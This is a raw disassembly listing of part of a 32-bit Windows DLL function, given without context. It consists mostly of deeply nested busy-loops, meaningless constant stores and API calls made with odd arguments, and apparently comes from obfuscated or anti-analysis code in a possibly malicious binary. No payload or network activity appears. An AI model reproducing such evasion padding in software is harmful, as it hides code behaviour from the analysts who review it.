inc edx
cmp eax, edx
mov eax, dword [ebp - 0x24]
setne cl
xor ebx, ebx
cmp ecx, eax
setge bl
xor edx, edx
imul ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp ebx, eax
mov eax, dword [ebp - 0x24]
pop ebx
setl dl
xor ecx, ecx
cmp edx, eax
push 1
setle cl
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xe
pop edx
jle 0x1000f6bc
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x1d
jge 0x1000f6a8
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xb0]
cmp dword [eax + ecx*4], ebx
jne 0x1000f77b
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edx
jle 0x1000f692
dec dword [ebp - 0x40]
jns 0x1000f687
dec dword [ebp - 0x28]
jmp 0x1000f20d
inc dword [ebp - 0x20]
push 3
pop esi
jmp 0x1000f0e4
lea ecx, [ebp - 0x524]
call fcn.1001b42d
or esi, 0xffffffff
lea ecx, [ebp - 0xb0]
mov dword [ebp - 4], esi
call fcn.1001b42d
mov dword [ebp - 0x20], 0x3126ff23
mov dword [ebp - 0x14], ebx
jmp 0x1000f7d0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x210], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1000f7bf
mov dword [ebp - 0x208], ebx
cmp dword [ebp - 0x208], 0x17
jle 0x1000f80e
xor edi, edi
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x208], ebx
jne 0x1000f7f9
mov eax, ebx
cmp dword [ebp - 0x30], ebx
je 0x1000f7fc
lea eax, [edi + 1]
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x208]
cmp dword [ebp - 0x208], 0x17
jg 0x1000f7e7
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 3
jg 0x1000fac8
mov dword [ebp - 0x38], 0x409884cb
mov dword [ebp - 0x38], 0x7ab89bdd
mov dword [ebp - 0x14], 0xbee
cmp dword [ebp - 0x14], 0xf56
jle 0x1000f8a3
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x54], 0x553b
mov edi, ebx
mov dword [ebp - 0x3c], ebx
xor eax, edi
mov esi, ebx
mov dword [ebp - 0x30], eax
mov edi, eax
mov eax, edi
mov ecx, 0x106126b8
or eax, esi
cdq
push edx
push eax
call fcn.1001b17a
inc esi
cmp esi, 0x7f71
jl 0x1000f85d
mov edi, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
inc edi
mov dword [ebp - 0x3c], edi
cmp edi, 0x3749
jl 0x1000f854
dec eax
dec dword [ebp - 0x54]
mov dword [ebp - 0x28], eax
jne 0x1000f84f
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp eax, 0x560
jl 0x1000f845
or esi, 0xffffffff
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x14], 0xab2
jge 0x1000f8e3
mov edx, 0x100077d8
mov ecx, 0x106126b8
call fcn.1001d6f2
jmp 0x1000f8e3
mov dword [ebp - 4], esi
xor ecx, ecx
mov dword [ebp - 0x3c], 0x9b37d022
inc ecx
mov dword [ebp - 0x18], ebx
jmp 0x1000f906
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x94], 0x576c5165
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1000f8f5
mov dword [ebp - 0x18], ebx
jmp 0x1000f922
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x974], 4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000f911
mov dword [ebp - 0x18], ebx
jmp 0x1000f93a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x6b0], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1000f92d
mov dword [ebp - 0x90], ebx
cmp dword [ebp - 0x90], 3
jg 0x1000fa16
push 3
pop esi
or edi, 0xffffffff
jmp 0x1000f95d
xor ecx, ecx
inc ecx
mov dword [ebp - 0x28], ecx
push ecx
lea ecx, [ebp - 0x730]
call fcn.1001b3ab
xor edx, edx
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x14], ebx
inc edx
jmp 0x1000f98a
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x730]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1000f97b
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], ebx
jl 0x1000f9db
mov dword [ebp - 0x38], edx
lea ecx, [ebp - 0x660]
push 4
call fcn.1001b3ab
mov dword [ebp - 0x14], ebx
jmp 0x1000f9bf
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x660]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1000f9ac
inc dword [ebp - 0x3c]
lea ecx, [ebp - 0x660]
call fcn.1001b42d
dec dword [ebp - 0x28]
push 1
pop edx
jns 0x1000f997
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1000f9f6
push ebx
push 0x120
push ebx
push 0x1d97
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
lea ecx, [ebp - 0x730]
mov dword [ebp - 4], edi
call fcn.1001b42d
inc dword [ebp - 0x90]
cmp dword [ebp - 0x90], esi
jle 0x1000f95a
mov dword [ebp - 0x40], 0x784c
cmp dword [ebp - 0x40], 0x7a7d
jle 0x1000fa6b
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x3c], 0x4815
mov edi, dword [ebp - 0x28]
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
mov ecx, 0x106126b8
cdq
push edx
push eax
call fcn.1001b17a
inc esi
cmp esi, 0x57f7
jl 0x1000fa38
mov edi, dword [ebp - 0x54]
add dword [ebp - 0x28], edi
dec dword [ebp - 0x3c]
jne 0x1000fa33
inc edi
mov dword [ebp - 0x54], edi
cmp edi, 0x50a9
jl 0x1000fa29
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x210], ebx
jne 0x1000fac5
mov dword [ebp - 4], 0x1b
cmp dword [ebp - 0x40], 0x74ad
jge 0x1000fa96
mov edx, 0x10007868
mov ecx, 0x106126b8
call fcn.1001d6f2
or esi, 0xffffffff
mov dword [ebp - 4], esi
inc dword [ebp - 0x20]
jmp 0x1000f811
or esi, 0xffffffff
mov dword [ebp - 0x20], 0x3126ff23
mov dword [ebp - 0x14], ebx
jmp 0x1000fae5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x200], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1000fad4
xor edi, edi
mov dword [ebp - 0x1f8], ebx
inc edi
cmp dword [ebp - 0x1f8], 0x17
jle 0x1000fb1c
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x1f8], ebx
jne 0x1000fb0f
mov eax, ebx
cmp dword [ebp - 0x30], ebx
je 0x1000fb11
mov eax, edi
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x1f8]
jmp 0x1000faf4
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 3
jg 0x1000fc82
mov dword [ebp - 0x38], 0x409884cb
mov dword [ebp - 0x38], 0x7ab89bdd
mov dword [ebp - 0x3c], 0x9b37d022
mov dword [ebp - 0x18], ebx
jmp 0x1000fb54
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa0], 0x576c5165
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1000fb43
mov dword [ebp - 0x18], ebx
jmp 0x1000fb70
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x908], 4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000fb5f
xor ecx, ecx
mov dword [ebp - 0x18], ebx
inc ecx
jmp 0x1000fb8b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7b8], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1000fb7e
mov dword [ebp - 0x9c], ebx
cmp dword [ebp - 0x9c], 3
jg 0x1000fc66
jmp 0x1000fba8
xor ecx, ecx
inc ecx
mov dword [ebp - 0x28], ecx
push ecx
lea ecx, [ebp - 0x788]
call fcn.1001b3ab
xor edx, edx
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x14], ebx
inc edx
jmp 0x1000fbd5
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x788]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1000fbc6
mov dword [ebp - 0x28], 3
cmp dword [ebp - 0x28], ebx
jl 0x1000fc2a
mov dword [ebp - 0x38], edx
lea ecx, [ebp - 0x678]
push 4
call fcn.1001b3ab
mov dword [ebp - 0x14], ebx
jmp 0x1000fc0e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x678]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1000fbfb
inc dword [ebp - 0x3c]
lea ecx, [ebp - 0x678]
call fcn.1001b42d
dec dword [ebp - 0x28]
push 1
pop edx
jns 0x1000fbe6
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1000fc45
push ebx
push 0x120
push ebx
push 0x1d97
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
lea ecx, [ebp - 0x788]
mov dword [ebp - 4], esi
call fcn.1001b42d
inc dword [ebp - 0x9c]
cmp dword [ebp - 0x9c], 3
jle 0x1000fba5
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x200], ebx
jne 0x1000fc7f
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jle 0x1000fb29
xor edi, edi
inc edi
push edi
lea ecx, [ebp - 0x1d0]
call fcn.1001b3ab
mov dword [ebp - 4], 0x1e
lea ecx, [ebp - 0x6a0]
mov dword [ebp - 0x38], 0xd5d64f68
mov dword [ebp - 0x38], esi
push 3
call fcn.1001b3ab
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x3bc]
mov dword [ebp - 0x40], 6
push 4
call fcn.1001b3ab
xor edx, edx
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x18], ebx
inc edx
jmp 0x1000fce3
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1d0]
mov dword [eax + ecx*4], 0xf6af1124
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1000fcd0
mov dword [ebp - 0x18], ebx
jmp 0x1000fcfc
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x6a0]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000fced
mov dword [ebp - 0x54], 0x119d
cmp dword [ebp - 0x54], 0x1277
jle 0x1000fd5f
mov edx, ebx
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov dword [ebp - 0x3c], ebx
mov ecx, edi
mov esi, ebx
mov edi, edx
sar edi, cl
mov eax, esi
mov ecx, 0x106126b8
or eax, edi
cdq
push edx
push eax
call fcn.1001b17a
inc esi
cmp esi, 0x1f13
jl 0x1000fd24
mov edi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x28]
inc edi
mov dword [ebp - 0x3c], edi
cmp edi, 0x35ff
jl 0x1000fd1c
inc edx
mov dword [ebp - 0x28], edx
cmp edx, 0x427
jl 0x1000fd17
or esi, 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1000fd73
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3bc]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1000fd64
mov byte [ebp - 4], 0x21
cmp dword [ebp - 0x54], 0xf1a
jge 0x1000fdb3
mov edx, 0x100078cc
mov ecx, 0x106126b8
call fcn.1001d6f2
jmp 0x1000fdb3
mov dword [ebp - 4], 0x20
mov eax, dword [ebp - 0x1d0]
mov dword [eax], 0x16
xor ecx, ecx
mov dword [ebp - 0x24], 0x491e29ea
inc ecx
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x744]
push 3
call fcn.1001b3ab
mov byte [ebp - 4], 0x23
mov dword [ebp - 0x38], 0xfffffff9
mov dword [ebp - 0x14], ebx
jmp 0x1000fe03
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x744]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000fdf0
mov eax, dword [ebp - 0x20]
xor esi, esi
mov eax, dword [ebp - 0x20]
inc esi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jne 0x1000fe20
mov eax, dword [ebp - 0x20]
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1d0]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], esi
jg 0x1000fe87
mov edi, dword [ebp - 0x3bc]
mov dword [ebp - 0x38], 0xa9c5
lea ecx, [ebp - 0x68c]
push 3
call fcn.1001b3ab
mov dword [ebp - 0x14], ebx
jmp 0x1000fe68
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x68c]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000fe58
dec dword [ebp - 0x40]
lea ecx, [ebp - 0x68c]
inc dword [edi + 4]
call fcn.1001b42d
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x1000fe3f
lea ecx, [ebp - 0x744]
mov byte [ebp - 4], 0x20
call fcn.1001b42d
mov eax, dword [ebp - 0x1d0]
dec dword [eax]
cmp dword [eax], 0xffffffeb
jg 0x1000fdc6
lea ecx, [ebp - 0x3bc]
call fcn.1001b42d
lea ecx, [ebp - 0x6a0]
call fcn.1001b42d
or edi, 0xffffffff
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 4], edi
call fcn.1001b42d
push esi
lea ecx, [ebp - 0x198]
call fcn.1001b3ab
mov dword [ebp - 4], 0x24
lea ecx, [ebp - 0x758]
mov dword [ebp - 0x38], 0xd5d64f68
mov dword [ebp - 0x38], edi
push 3
call fcn.1001b3ab
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x47c]
mov dword [ebp - 0x34], 6
push 4
call fcn.1001b3ab
xor edx, edx
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x18], ebx
inc edx
jmp 0x1000ff2f
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x198]
mov dword [eax + ecx*4], 0xf6af1124
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1000ff1c
mov dword [ebp - 0x18], ebx
jmp 0x1000ff48
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x758]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000ff39
xor esi, esi
mov dword [ebp - 0x14], 0x3416
inc esi
cmp dword [ebp - 0x14], 0x3779
jle 0x1000ffdb
mov ecx, ebx
mov dword [ebp - 0x28], ecx
mov eax, ebx
mov dword [ebp - 0x40], ebx
mov edi, ebx
add eax, ecx
mov dword [ebp - 0x54], 0x5fdc
mov dword [ebp - 0x3c], eax
cdq
lea ecx, [ebp - 0x920]
push edx
push eax
call fcn.1000d8ea
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000ff91
mov eax, dword [eax]
push eax
call fcn.10052776
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x920]
call fcn.1001b868
mov eax, dword [ebp - 0x3c]
add eax, edi
dec dword [ebp - 0x54]
mov dword [ebp - 0x3c], eax
jne 0x1000ff79
mov eax, dword [ebp - 0x40]
inc edi
mov ecx, dword [ebp - 0x28]
cmp edi, 0x17db
jl 0x1000ff6d
inc eax
mov dword [ebp - 0x40], eax
cmp eax, 0x43c
jl 0x1000ff6b
inc ecx
mov dword [ebp - 0x28], ecx
cmp ecx, 0x2921
jl 0x1000ff66
or edi, 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1000ffef
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x47c]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1000ffe0
cmp dword [ebp - 0x14], 0x32d3
jge 0x10010009
push 0x10007920
call fcn.10052776
pop ecx
mov dword [ebp - 4], 0x26
mov eax, dword [ebp - 0x198]
mov dword [eax], 0x16
mov dword [ebp - 0x24], 0x491e29ea
lea ecx, [ebp - 0x5ac]
mov dword [ebp - 0x20], esi
push 3
call fcn.1001b3ab
mov byte [ebp - 4], 0x29
mov dword [ebp - 0x38], 0xfffffff9
mov dword [ebp - 0x14], ebx
jmp 0x10010056
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x5ac]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10010043
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jne 0x10010070
mov eax, dword [ebp - 0x20]
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], esi
jg 0x100100d7
mov edi, dword [ebp - 0x47c]
mov dword [ebp - 0x38], 0xa9c5
lea ecx, [ebp - 0x7d4]
push 3
call fcn.1001b3ab
mov dword [ebp - 0x14], ebx
jmp 0x100100b8
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x7d4]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100100a8
dec dword [ebp - 0x34]
lea ecx, [ebp - 0x7d4]
inc dword [edi + 4]
call fcn.1001b42d
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x1001008f
lea ecx, [ebp - 0x5ac]
mov byte [ebp - 4], 0x26
call fcn.1001b42d
mov eax, dword [ebp - 0x198]
dec dword [eax]
cmp dword [eax], 0xffffffeb
jg 0x1001001c
lea ecx, [ebp - 0x47c]
call fcn.1001b42d
lea ecx, [ebp - 0x758]
call fcn.1001b42d
or edi, 0xffffffff
lea ecx, [ebp - 0x198]
mov dword [ebp - 4], edi
call fcn.1001b42d
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x14], ebx
jmp 0x10010133
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x680], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10010126
cmp dword [ebp - 0x20], ebx
je 0x1001021c
mov dword [ebp - 0x40], 0xef7
cmp dword [ebp - 0x40], 0x1224
jle 0x100101bf
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov dword [ebp - 0x54], ebx
cdq
mov ecx, ebx
idiv edi
mov dword [ebp - 0x3c], ecx
mov eax, edx
mov dword [ebp - 0x4c], eax
sar eax, cl
mov edi, ebx
mov dword [ebp - 0x30], eax
mov ecx, edi
shl eax, cl
mov ecx, 0x106126b8
cdq
push edx
push eax
call fcn.1001b17a
mov eax, dword [ebp - 0x30]
inc edi
cmp edi, 0x64b0
jl 0x10010170
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
inc ecx
mov dword [ebp - 0x3c], ecx
cmp ecx, 0xf94
jl 0x10010169
mov edi, dword [ebp - 0x54]
mov eax, dword [ebp - 0x28]
inc edi
mov dword [ebp - 0x54], edi
cmp edi, 0x368a
jl 0x1001015c
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x1379
jl 0x10010157
or edi, 0xffffffff
mov byte [ebp - 0x19], bl
mov dword [ebp - 4], 0x2a
cmp dword [ebp - 0x40], 0xe71
jge 0x10010205
mov edx, 0x10007980
mov ecx, 0x106126b8
call fcn.1001d6f2
jmp 0x10010205
mov dword [ebp - 4], edi
cmp byte [ebp - 0x19], 0
je 0x10010233
push 0x7e8
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffW]
jmp 0x10010233
mov dword [ebp - 0x20], ebx
jmp 0x1001022d
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x680], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x20
jg 0x10010221
push 3
lea ecx, [ebp - 0x274]
call fcn.1001b3ab
mov dword [ebp - 4], 0x2c
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], 0xfdb696
mov dword [ebp - 0x40], 0x153f
cmp dword [ebp - 0x40], 0x15ea
jle 0x100102c9
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov ecx, ebx
mov dword [ebp - 0x54], 0x4ede
mov dword [ebp - 0x3c], ecx
shl eax, cl
lea ecx, [ebp - 0x944]
cdq
push edx
push eax
call fcn.1000d8ea
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10010291
mov eax, dword [eax]
push eax
call fcn.10052776
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x944]
call fcn.1001b868
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
add ecx, edi
dec dword [ebp - 0x54]
mov dword [ebp - 0x3c], ecx
jne 0x10010277
inc edi
cmp edi, 0x1c2d
jl 0x1001026b
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x6325
jl 0x10010269
push 3
mov dword [ebp - 0x14], ebx
pop esi
jmp 0x100102e4
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x274]
mov dword [eax + ecx*4], 0xc6a53d06
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100102d1
cmp dword [ebp - 0x40], 0x11f8
jge 0x100102fd
push 0x100079b0
call fcn.10052776
pop ecx
push 2
pop edi
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], ebx
jl 0x1001032e
mov dword [ebp - 0x20], 0xffffffff
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10010329
mov eax, dword [ebp - 0x274]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
jne 0x1001034d